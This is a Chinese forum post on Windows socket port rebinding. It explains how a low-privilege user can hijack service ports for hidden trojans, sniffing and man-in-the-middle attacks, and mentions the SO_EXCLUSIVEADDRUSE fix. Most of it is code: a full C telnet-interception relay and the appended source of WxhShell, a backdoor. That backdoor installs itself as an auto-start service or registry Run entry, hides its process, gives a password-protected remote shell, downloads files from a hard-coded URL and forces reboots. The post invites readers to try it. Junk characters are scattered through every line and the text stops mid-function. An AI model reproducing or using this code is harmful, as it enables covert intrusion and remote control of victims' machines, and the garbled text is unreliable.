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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: )jm}h7,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); r3{Cuz  
E.zY(#S  
  saddr.sin_family = AF_INET; Hq ]f$Q6:  
.\".}4qQ  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); T}M!A|   
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Am{Vtl)i  
nj]l'~Y0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 |W:xbtPNy  
p gW BW9\  
  这意味着什么?意味着可以进行如下的攻击: &,JrhMr\  
zU}Ru&T9  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8t25wPlx  
Lzm9Kh;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ER;?[!  
:G!i]1x<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 . =yF  
Hyh$-iCa  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  O3 x9S,1i  
Pp#  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 qkPvE;"  
o'+p,_y9Y@  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 p48m k  
DI"KH)XD  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ckykRqk}  
$3psSQQo  
  #include `bY>f_5+  
  #include Utd`T+AF*  
  #include k[#<=G_=/E  
  #include    ae_Y?g+3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R6eKI,y\"  
  int main() 4L)#ku$jW  
  { Qu"zzb"k  
  WORD wVersionRequested; vgKZr  
  DWORD ret;  0@7%  
  WSADATA wsaData; }M7{~ov#s  
  BOOL val; v P;  
  SOCKADDR_IN saddr; {wA(%e3_  
  SOCKADDR_IN scaddr; EX@wenR  
  int err; +&bJhX  
  SOCKET s; m~c6b{F3Z-  
  SOCKET sc; VC~1QPC9  
  int caddsize; 40h  
  HANDLE mt; Fab gJu  
  DWORD tid;    -]n\|U<  
  wVersionRequested = MAKEWORD( 2, 2 ); t}6QU  
  err = WSAStartup( wVersionRequested, &wsaData ); ^__';! e  
  if ( err != 0 ) { .6C9N{?Tqf  
  printf("error!WSAStartup failed!\n"); %'+}-w  
  return -1; vJI]ZnL{  
  } 2 zE gAc  
  saddr.sin_family = AF_INET; *62Cf[a  
   EC;R^)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |2AMj0V~  
\D6 7J239E  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l5P!9P  
  saddr.sin_port = htons(23); bbNN$-S|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1z IX $A  
  { )IBvm1  
  printf("error!socket failed!\n"); -A1@a= q  
  return -1; aN UU' [  
  } 8/gA]I 6=#  
  val = TRUE; AdU0 sZ+&c  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _"l2UDx  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) x_L5NsO:  
  { 1egq:bh  
  printf("error!setsockopt failed!\n"); W?TvdeBx  
  return -1; vd{ban9  
  } 'Hf+Y/`  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; S(2_s,J^  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 fbg:rH\_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Dm{9;Abs%  
"zE>+zRl  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) s$g3__|Y  
  { d#(ffPlq  
  ret=GetLastError(); MxLg8,M  
  printf("error!bind failed!\n"); 2^w8J w9  
  return -1; v]h^0WU  
  } +khVi}  
  listen(s,2); CXiDe)|<E  
  while(1) V*6o|#  
  { h[ cqa  
  caddsize = sizeof(scaddr); z&wJ"[nOC  
  //接受连接请求 &TT vX% T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); He9Er  
  if(sc!=INVALID_SOCKET) /Z| K9a  
  { u(W>HVEG  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); vC^Ul  
  if(mt==NULL) -y|*x-iZ  
  { 1`Z:/]hl  
  printf("Thread Creat Failed!\n"); joA>-k04  
  break; lJvfgP-j  
  } qx5jaa3  
  } _s18^7  
  CloseHandle(mt); 4|/}~9/  
  } 8hV>Q  
  closesocket(s); xp*Wf#BF  
  WSACleanup(); O>y*u8  
  return 0; 2`^M OGYk  
  }   !&adO,jN+=  
  DWORD WINAPI ClientThread(LPVOID lpParam) V7<w9MM  
  { fnJx$PD~  
  SOCKET ss = (SOCKET)lpParam; y$8S+N?>  
  SOCKET sc; GLp~SeF#  
  unsigned char buf[4096]; w ,*#z  
  SOCKADDR_IN saddr; )vD:  
  long num; i~"lcgoO  
  DWORD val; U! $/'Xi9  
  DWORD ret; qDS~|<Y5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 <5!)5+G  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qm/#kPlM  
  saddr.sin_family = AF_INET; H krhd   
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); XUVBD;"f!  
  saddr.sin_port = htons(23); v%muno,  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)  CH$K_\  
  { gq~K(Q<O<  
  printf("error!socket failed!\n"); b5)1\ANq  
  return -1; &q>C  
  } )8E[xBaO  
  val = 100; 8;d./!|'&g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3Yf~5csY  
  { 7q&T2?GEN  
  ret = GetLastError(); )i"52!  
  return -1; ly`\TnC  
  } R$x(3eyx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (c S'Nm5  
  { *X!+wK-+  
  ret = GetLastError(); Gvl,M\c9-  
  return -1; Mw`S.M. B  
  } t>vr3)W  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) G0u H6x?  
  { 1RauI0d*  
  printf("error!socket connect failed!\n"); BsR3$  
  closesocket(sc); *+%$OH,  
  closesocket(ss); |RH^|2:x9Q  
  return -1; ,f~)CXNT?  
  } siOyp ]  
  while(1) KwY6pF*  
  { +h? Gps  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ]u.)6{  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aJ J)ZP2+  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *XI- nH  
  num = recv(ss,buf,4096,0); iU|X/>k?  
  if(num>0) x<5;#  
  send(sc,buf,num,0); ^7Ebg5<  
  else if(num==0)  c`}YL4  
  break; J ql$ g  
  num = recv(sc,buf,4096,0); =)%~QK {Y  
  if(num>0) 79 \SbB  
  send(ss,buf,num,0); ]P2Wa   
  else if(num==0) F8J\#PW  
  break; [+!~RV_  
  } !jg< S>S5  
  closesocket(ss); -n:;/ere7-  
  closesocket(sc); g*WY kv  
  return 0 ; *|,ye5"  
  } lQL /I[}  
B$G9#G6pZ  
h^f?rWD:nz  
========================================================== 7g4IAsoD  
?NxaJ^  
下边附上一个代码,,WXhSHELL |[@v+koq  
0?''v>%  
========================================================== :cA8[!  
CN6b 982&  
#include "stdafx.h" g6h=Q3@  
@=?#nB&  
#include <stdio.h> 7WHq'R{@  
#include <string.h> !]MGIh#u  
#include <windows.h> &S[>*+}{+  
#include <winsock2.h> (Bss%\  
#include <winsvc.h> +;a\ gF^  
#include <urlmon.h> c^~R %Bx  
lT8^BT  
#pragma comment (lib, "Ws2_32.lib") l M a||  
#pragma comment (lib, "urlmon.lib") |~+bbN|b  
ahR-^^'$  
#define MAX_USER   100 // 最大客户端连接数 p[%B#(]9,  
#define BUF_SOCK   200 // sock buffer ?:7.3{|Aq  
#define KEY_BUFF   255 // 输入 buffer vv D515i  
Q SvgbjdE  
#define REBOOT     0   // 重启 nc?Oj B  
#define SHUTDOWN   1   // 关机 W . dm1  
*X 2dS {  
#define DEF_PORT   5000 // 监听端口 RaA7 U   
={I(i6  
#define REG_LEN     16   // 注册表键长度 [ z{ }?  
#define SVC_LEN     80   // NT服务名长度 8p]Krs:  
"4CO^ B  
// 从dll定义API rs@qC>_C0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Sj;:*jk!h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qSQsY:]j0  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); t x1(6V&l;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gFxaUrZA  
4EJ6Zy![0*  
// wxhshell配置信息 5Y5N   
struct WSCFG { :&m0eZZ%  
  int ws_port;         // 监听端口 O/ZyWT  
  char ws_passstr[REG_LEN]; // 口令 cN7|Zsc\  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3 Ol`i$  
  char ws_regname[REG_LEN]; // 注册表键名 9j1 tcT  
  char ws_svcname[REG_LEN]; // 服务名 t.] e8=dE  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 dLw,dg  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rk `]]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 51puR8AG>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *KPNWY9!W  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" << aAYkx <  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 { pu .l4nk  
JjG>$z  
}; ZRYHsl{F+  
+|Mi lwr  
// default Wxhshell configuration ^%x7:  
struct WSCFG wscfg={DEF_PORT, jxZd =%7Q  
    "xuhuanlingzhe", }#E~XlX^  
    1, %loe8yt  
    "Wxhshell", okD7!)cr=  
    "Wxhshell", !qJ|`o Y  
            "WxhShell Service", h|.*V$3  
    "Wrsky Windows CmdShell Service", =mh)b]].4\  
    "Please Input Your Password: ", 6}q# c  
  1, tSq`_[@  
  "http://www.wrsky.com/wxhshell.exe", I< Rai"  
  "Wxhshell.exe" bdr !|WZ  
    }; rY(^6[!  
+WSM<S2 U  
// 消息定义模块 #}zL?s^G  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {pEbi)CF,}  
char *msg_ws_prompt="\n\r? for help\n\r#>"; U=ie| 3  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v,mn=Q&9  
char *msg_ws_ext="\n\rExit."; ?)XPY<  
char *msg_ws_end="\n\rQuit."; u )KtvC!  
char *msg_ws_boot="\n\rReboot..."; |79n 1;+\?  
char *msg_ws_poff="\n\rShutdown..."; k&3'[&$I*,  
char *msg_ws_down="\n\rSave to "; 3EX41)u  
\"mL LnK?  
char *msg_ws_err="\n\rErr!"; oW8 hC  
char *msg_ws_ok="\n\rOK!"; )-d &XN7  
B#(2,j7M  
char ExeFile[MAX_PATH]; e[J0+ x#;r  
int nUser = 0; 8}Su7v1  
HANDLE handles[MAX_USER]; ZTP&*+d  
int OsIsNt; 8(0q,7)y  
G1:2MPH  
SERVICE_STATUS       serviceStatus; 2bt2h.a  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;Z}V}B  
GA@Zfcg  
// 函数声明 .\b# 0w  
int Install(void); xZ(VvINL'  
int Uninstall(void); 9h 0^_|"  
int DownloadFile(char *sURL, SOCKET wsh); /(skIvE|  
int Boot(int flag); !_=3Dz  
void HideProc(void); hh"=|c  
int GetOsVer(void); (Y?" L_pC  
int Wxhshell(SOCKET wsl);  IQCIc@5  
void TalkWithClient(void *cs); )6Qk|gIu(  
int CmdShell(SOCKET sock); B$%7U><'  
int StartFromService(void); U/bQ(,3}  
int StartWxhshell(LPSTR lpCmdLine); Gv zw=~8  
'}T6e1#JV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $NhKqA`0  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;&G8e* bM2  
+BE_K_56  
// 数据结构和表定义 &d^u$Y5  
SERVICE_TABLE_ENTRY DispatchTable[] = \i$WXW]|  
{ W]DZ'  
{wscfg.ws_svcname, NTServiceMain}, IMay`us]:8  
{NULL, NULL} aqAWaO  
}; 8k`rj;  
ok7yFm1\  
// 自我安装 vd'd@T  
int Install(void) f.&Y_G3a<  
{ OA3* "d*  
  char svExeFile[MAX_PATH]; @AU<'?k  
  HKEY key; #v`J]I)$  
  strcpy(svExeFile,ExeFile); ~#jD/  
=e$6o2!'}  
// 如果是win9x系统,修改注册表设为自启动 eb>YvC  
if(!OsIsNt) { v(2|n}qY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { = A;B-_c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ghd*EXrF H  
  RegCloseKey(key); 1f^4J~{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C) "|sG  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 53cW`F  
  RegCloseKey(key); B!cg)Y?.bd  
  return 0; -(fvb  
    } QR;E>eEq  
  } 'Nbae-pf  
} X#*|_(^  
else { ;n,@[v  
;Y>cegG\  
// 如果是NT以上系统,安装为系统服务 RZeU{u<O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #]!0$z|Z  
if (schSCManager!=0) ^N5BJ'[F:  
{ '9MtIcNb  
  SC_HANDLE schService = CreateService ,pz^8NJAI  
  ( -6KGQc}U  
  schSCManager, ki^c)Tqn  
  wscfg.ws_svcname, ymLhSF][  
  wscfg.ws_svcdisp, :5`BhFAd  
  SERVICE_ALL_ACCESS, ?E?dg#yk  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $G5;y>  
  SERVICE_AUTO_START, -Vi"hSsUP  
  SERVICE_ERROR_NORMAL, @i[z4)"S  
  svExeFile, U{2UKD@PM  
  NULL, k~st;FO  
  NULL, ,Si23S\  
  NULL, OO:^#Mvv5  
  NULL, e)~7pXYV)  
  NULL eSgCS*}0$z  
  ); @P^8?!i+  
  if (schService!=0) 'e4  ;,m  
  { RqIic\aD  
  CloseServiceHandle(schService); /f7Fv*z/  
  CloseServiceHandle(schSCManager); .Qp5wCkM  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %:eep G|  
  strcat(svExeFile,wscfg.ws_svcname); |*im$[g=-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { r>hkm53  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ta38/v;S  
  RegCloseKey(key); Q4_+3-g<7L  
  return 0; 0 pH qNlb  
    } OwwlQp ~!J  
  } EQkv&k5X  
  CloseServiceHandle(schSCManager); \Om< FH}  
} iG1vy'J#o  
} ncluA~8  
/?jAG3"  
return 1; $:%?-xy(  
} T/" 6iv\1  
%<oey%ue  
// 自我卸载 9LkP*$2"M<  
int Uninstall(void) 1|VnPQqA  
{ Cr,UP8MO  
  HKEY key; )hHkaI>eYv  
(N U*PQY6  
if(!OsIsNt) { F(8>"(C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { dE+xU(\, w  
  RegDeleteValue(key,wscfg.ws_regname); qF{u+Ms  
  RegCloseKey(key); 8}0W_CU,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ! Q`GA<ikv  
  RegDeleteValue(key,wscfg.ws_regname); )j40hrR  
  RegCloseKey(key); r`|/qP:T[  
  return 0; vnXa4\Vdy  
  } JBCcR,\kM*  
} .VVY]>bJg@  
} {ZH9W  
else { Y" s1z<?  
Dq!Vo;s2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -i@1sNx&'  
if (schSCManager!=0) 6=kA  
{ D 5]sf>~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 5uK:f\y)l  
  if (schService!=0) vMXS%Q  
  { }Lx?RU+@=  
  if(DeleteService(schService)!=0) { ;%Jw9G\h  
  CloseServiceHandle(schService); |\ j'Z0  
  CloseServiceHandle(schSCManager); j(!M  
  return 0; ) =<,$|g  
  } w<*tbq  
  CloseServiceHandle(schService); > _1*/o JO  
  } zxtx~XO  
  CloseServiceHandle(schSCManager); 2;G^>BP<  
} c<j2wKz  
} DKCPi0  
\FSkI0  
return 1; e uS"C*  
} (xJ6 : u  
aD,sx#g0  
// 从指定url下载文件 yVm~5Y&Z  
int DownloadFile(char *sURL, SOCKET wsh) ?9_<LE q  
{ +Eh1>m  
  HRESULT hr; xT I&X9P  
char seps[]= "/"; 0A@'w*=  
char *token; 5B!l6ST  
char *file; BF2,E<^A  
char myURL[MAX_PATH]; Dx =ms^oN5  
char myFILE[MAX_PATH]; 7z"xjA  
{T Z7>k  
strcpy(myURL,sURL); 15_OtK  
  token=strtok(myURL,seps); _PrK6M@"L  
  while(token!=NULL) .N8AkQ(Ok  
  { z!5^UD8"W  
    file=token; ^c}Z$V  
  token=strtok(NULL,seps); k7Fa+Y)K7  
  } ~#dNGWwG  
2H_|Attoi  
GetCurrentDirectory(MAX_PATH,myFILE); >[=q9k  
strcat(myFILE, "\\"); NIeT.!  
strcat(myFILE, file); 5 fjeBfy  
  send(wsh,myFILE,strlen(myFILE),0); ja}_u}:  
send(wsh,"...",3,0); 4;_{*U-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 7</&=lly  
  if(hr==S_OK) Z9s tB>?  
return 0; ]lzt "[  
else [K;J#0V+&L  
return 1; <Brq7:n|  
@gQ{*dN  
} }.Ht=E]  
JS r& S[  
// 系统电源模块 ywpk\  
int Boot(int flag) BEyg 63=  
{ L5E.`^?  
  HANDLE hToken; ^SB?NRk  
  TOKEN_PRIVILEGES tkp; }s=D,_}m  
Jz s.)  
  if(OsIsNt) {  Q0' xn  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); '<~l% q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j^T.7Zv  
    tkp.PrivilegeCount = 1; m UpLD+-j  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; W XDl\*n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9hEIf,\  
if(flag==REBOOT) { -Zd!0HNW1  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) <<gk< _7`  
  return 0; YYHtd,0\+  
} ;1&%Wj"d  
else { yazC2Enes8  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) wQ qI@  
  return 0; {,tEe'H7  
} n5A0E2!  
  } 0'`>20Y  
  else { Iodk1Y;  
if(flag==REBOOT) { >6Y\CixN  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Oemi}  
  return 0; `:!mPNW#  
} t\E#8  
else { %geiJ z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T>s~bIzL*e  
  return 0; :l8n)O3  
} 5\}A8Ng  
} -! Hn,93  
L6Ykv/V  
return 1; NS @j`6/U  
} -;cZW.<  
W"+*%x  
// win9x进程隐藏模块 "5u*C#T2$  
void HideProc(void) BpZE  
{ uyMxBc%6  
qc\]~]H]r  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rvuskXdo  
  if ( hKernel != NULL ) %4Cs c  
  { fEE[h uG  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); DcA{E8Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *,X;4?:,  
    FreeLibrary(hKernel); jIwz G+)$P  
  } 0P^RciC f  
(:Rj:8{  
return; 7J,j  
} I}Uj"m`>  
ED&>~~k)  
// 获取操作系统版本 t7tX<|aN  
int GetOsVer(void) |u8IQR'B  
{ X&fM36o7  
  OSVERSIONINFO winfo; Z`<S_PPz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); r$}M,! J  
  GetVersionEx(&winfo); NrT!&>M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) &p=Uus  
  return 1; QNn\wz_)  
  else /"?yB$s  
  return 0; E}Q'Wz|k  
} Z .VIb|  
p/L|;c  
// 客户端句柄模块 ?U.+SQ  
int Wxhshell(SOCKET wsl) G#-t&gO3  
{ }Tf~)x  
  SOCKET wsh; A@xa$!4}  
  struct sockaddr_in client; ;`',M6g  
  DWORD myID; F7lhLly  
SYd4 3P A  
  while(nUser<MAX_USER) "s[wLclfG  
{ 8)HUo?/3  
  int nSize=sizeof(client); UZ7Zzc#g  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); L#mf[a@pCn  
  if(wsh==INVALID_SOCKET) return 1; HZC^Q7]hy  
[E<NEl *  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =V~p QbZ  
if(handles[nUser]==0) 6U5L>sQ  
  closesocket(wsh); RhR{EO  
else  PNY"Lqj  
  nUser++; 5'wWj}0!%  
  } Uo?g@D  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); |N, KA|Gdq  
I WKq_Zjkz  
  return 0; F,+nj?i!  
} vFm8T58 7  
yXP+$oox9  
// 关闭 socket ]R[j ]E.  
void CloseIt(SOCKET wsh) ? cU9~=  
{ KGb:NQ=O6i  
closesocket(wsh); .Qk T-12  
nUser--; ))m\d*  
ExitThread(0); ln.'}P  
} {7swE(N  
XE8>& & X  
// 客户端请求句柄 T1AD(r\W5  
void TalkWithClient(void *cs) TLbnG$VQS  
{ o;5 J=  
$P'Y  
  SOCKET wsh=(SOCKET)cs; v,bCj6  
  char pwd[SVC_LEN]; 6HocF/Ye  
  char cmd[KEY_BUFF]; Gy 0 m  
char chr[1]; bQd'objpY  
int i,j; Ug(;\*yg  
&$$KC?!w  
  while (nUser < MAX_USER) { (%.[MilxPM  
L~9Q7 6w  
if(wscfg.ws_passstr) { QS(aA*D  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;PM(q<@\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &[71~.Od  
  //ZeroMemory(pwd,KEY_BUFF); K|[p4*6  
      i=0; D>tex/Of3  
  while(i<SVC_LEN) { "LZQ1P*ef$  
Bv-|#sdxm  
  // 设置超时 I!sh+e  
  fd_set FdRead; } )D E  
  struct timeval TimeOut; ZcJa:  
  FD_ZERO(&FdRead); b7-M'-Km0_  
  FD_SET(wsh,&FdRead);  ;;>hWAS  
  TimeOut.tv_sec=8; rywui10x*  
  TimeOut.tv_usec=0; pUbf]3 t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); L_4c~4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ; '6`hZ  
RE)!b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9O(vh(C  
  pwd=chr[0]; 0Va+l)F  
  if(chr[0]==0xd || chr[0]==0xa) { ZAATV+Z  
  pwd=0; DzZEn]+zt  
  break; >?3yVE  
  } =Q+i(UGHi  
  i++; :\hcl&W:  
    }  vVvx g0  
_{Z!$q6,  
  // 如果是非法用户,关闭 socket `Xs3^FJt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a ]~Rp  
} ]'IZbx:  
rK` x<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); P ?^h  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  SXqWq  
FR*CiaD1  
while(1) { BQWhTS7  
yV"k:_O{  
  ZeroMemory(cmd,KEY_BUFF); r_R( kns  
xA7>";sla[  
      // 自动支持客户端 telnet标准   (U_`Q1Jo  
  j=0; vbA<=V*P  
  while(j<KEY_BUFF) { Kd='l~rby  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "Y'MuV'x  
  cmd[j]=chr[0]; 5;v_?M!UCK  
  if(chr[0]==0xa || chr[0]==0xd) { nR %ey"  
  cmd[j]=0; J[|4`GT  
  break; &,DZ0xA  
  } dw*PjIB9x  
  j++; UTWchh  
    } Tumv0=q4wd  
"mk@p=d  
  // 下载文件 DtEvt+h  
  if(strstr(cmd,"http://")) { ]u5B]ZQnA  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1`sLbPW  
  if(DownloadFile(cmd,wsh)) gWk?g^KJL  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0Y>5&  
  else pseN!7+or  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fal##6B  
  } EKgY  
  else { r!+..c  
QT8GP?F  
    switch(cmd[0]) { C4[)yJ  
  Yamu"#  
  // 帮助 X&LaAqlSG  
  case '?': { <6.aSOS  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7y?aw`Sw:  
    break; |lDxk[  
  } b#%$y  
  // 安装 -s3q(SH  
  case 'i': { cy-o@U"s8  
    if(Install()) UWXl c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 02 $d  
    else q"@>rU4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ayGcc`  
    break; XJZ\ss  
    } ?td`*n~,  
  // 卸载 @> |3d  
  case 'r': { &xWej2a!  
    if(Uninstall()) c1ga{c`Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G+~f  
    else tFEY8ut{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OH >#f6`[  
    break; Iwx~kvz\_(  
    } WqO4_;X6/  
  // 显示 wxhshell 所在路径 jd.{J{o  
  case 'p': { PQd*)6K:A  
    char svExeFile[MAX_PATH]; wPE\?en  
    strcpy(svExeFile,"\n\r"); 88&M8T'AP  
      strcat(svExeFile,ExeFile); H8x66}  
        send(wsh,svExeFile,strlen(svExeFile),0); T? g%I  
    break; c 8t  
    } Y&uwi:_g  
  // 重启 h}y]Pt?  
  case 'b': { Zxw cqN  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @=ro/.  
    if(Boot(REBOOT)) eF"k"Ckt'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Yi?v |H<a  
    else { ZX8 AB  
    closesocket(wsh); 9,?7mgZ p  
    ExitThread(0); un F=";9H  
    } bu8AOtY9E-  
    break; Z35(f0b  
    } yE#.Q<4  
  // 关机 EJW}&e/  
  case 'd': { 4{QD: D(D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >Jk]=_%  
    if(Boot(SHUTDOWN)) ^O3i)GO  
